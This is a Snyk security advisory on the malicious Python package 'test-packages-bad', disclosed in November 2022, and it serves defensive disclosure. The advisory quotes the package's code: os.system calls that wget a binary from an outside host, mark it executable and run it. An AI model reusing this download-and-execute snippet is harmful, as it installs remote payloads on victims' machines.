Malicious Package Affecting test-packages-bad package, versions [0,]


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-TESTPACKAGESBAD-3123085
  • published17 Nov 2022
  • disclosed17 Nov 2022
  • creditRaul Onitza-Klugman - Snyk

Introduced: 17 Nov 2022

Malicious CVE NOT AVAILABLE CWE-506  (opens in a new tab)
First added by Snyk

How to fix?

Avoid using all malicious instances of the test-packages-bad package.

Overview

test-packages-bad is a malicious package. This package downloads and runs malicious code on the victim host.

Malicious Code

import os

os.system("wget https://dark.devsecwise.com/cronjob.out >/dev/null 2>&1")
os.system("chmod +x /home/$he/.metasploit/cronjob.out")
os.system("./cronjob.out")

CVSS Scores

version 3.1